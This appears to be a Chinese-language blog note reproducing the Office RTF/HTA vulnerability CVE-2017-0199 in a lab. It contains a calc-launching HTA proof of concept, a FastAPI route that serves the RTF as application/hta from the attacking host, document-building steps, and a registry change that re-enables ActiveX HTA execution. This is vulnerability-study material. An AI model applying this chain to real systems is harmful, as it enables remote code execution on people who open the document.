CVE-2017-0199
CVE-2017-0199
简介
CVE-2017-0199是首个Microsoft Office RTF漏洞,漏洞发布日期为2017年4月11日
受影响系统包括:
- Microsoft Office 2016
- Microsoft Office 2013
- Microsoft Office 2010
- Microsoft Office 2007
当用户打开包含嵌入式漏洞的文档时,此漏洞允许恶意攻击者下载并执行包含PowerShell命令的Visual Basic脚本。
复现环境
靶机:
- Win7+Office2010
- IP:
192.168.1.14
攻击机 Kali
- IP:
100.1.1.131
- IP:
漏洞复现
很多漏洞复现的文章都提到了使用 Apache 服务器, 其目的都指向自定义响应 Content-type
因此这里我们只需要能够自定义响应的 Content-type
就不一定需要 Apache 服务器
可以用 Python/use_case/FileServer/FastAPI/fileserver.py · main · 33 2 / DailyNotesCodeBackup · GitLab
这里也以这个 Fastapi 写的 FileServer 为例
在路由里指定 Content-type
即可
编写一个弹计算器的 POC:
calc.hta
<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>
用 Office2016 新建一个 word 文档保存为 office2016.docx
将其放到 FileServer 的 upload
目录下并重命名为 office2016docx.rtf
在靶机上用 Office2016 新建一个 word 文档, 插入->对象->由文件创建
填写 FileServer 中刚才放置的 office2016docx.rtf
的下载链接, 这里是 http://100.1.1.131:8000/download/office2016docx.rtf
并勾选 链接到文件
点击 确定
后即会请求该文件
保存为 rtf 文件 Office2016docx-insert-rtf.rtf
解下来就需要对这个链接的 rtf 文件动手了, 使用前面编写的弹计算器的 POC calc.hta
重命名并替换掉前面 FileServer 上放置的 office2016docx.rtf
然后改下 fileserver.py
中文件下载的路由, 让下载 rtf
文件的响应中的 Content-type
为 application/hta
:
@app.get("/download/{file_path:path}")
async def download_file(file_path: str):
file_location = UPLOAD_DIRECTORY / Path(file_path)
if file_location.exists():
if file_location.suffix == ".rtf":
media_type = "application/hta"
else:
return FileResponse(str(file_location))
return FileResponse(str(file_location), media_type=media_type)
双击打开靶机 Win7 上的 Office2016docx-insert-rtf.rtf
如果报错如下:
根据 CVE-2017-0199复现失败解决方案-腾讯云开发者社区-腾讯云 (tencent.com) 中提到的, 这是因为注册表默认禁用了ActiveX执行HTA
解决方案为将 Win+R -> 输入regedit -> 回车
注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{3050f4d8-98b5-11cf-BB82-00AA00BDCE0B}
从 400
改为 0
参考材料
分析
利用工具
复现过程
- 手工复现
- 对CVE-2017-0199的一次复现过程与内网穿透的利用 - 知乎 (zhihu.com)
- CVE-2017-0199漏洞复现过程 · 浮萍's Blog (fuping.site)
- Office CVE-2017-0199复现 - Junay的博客 (delcoding.github.io)
- Tuuu Nya's blog | 一个想当黑客的艺术家 ✨ (hackersb.cn)
- CVE-2017-0199漏洞复现过程 · 浮萍's Blog (fuping.site)
- [code2sec.com/office漏洞CVE-2017-0199复现:HTA Handler Vulnerability(一).md at master · bit4woo/code2sec.com · GitHub](https://github.com/bit4woo/code2sec.com/blob/master/office漏洞CVE-2017-0199复现:HTA Handler Vulnerability(一).md)
- Office CVE-2017-0199 复现 - X1r0z Blog (exp10it.io)
- [CVE-2017-0199 Microsoft Office 逻辑漏洞复现和利用 | Hacked By Fish_o0O (fish-o0o.github.io)](https://fish-o0o.github.io/2018/03/07/CVE-2017-0199 Microsoft Office 逻辑漏洞复现和利用/)
- Office远程代码执行漏洞CVE-2017-0199复现 - SecurityKid - 博客园 (cnblogs.com)
- MSF
- 复现失败解决方案
- 手工复现
检测对抗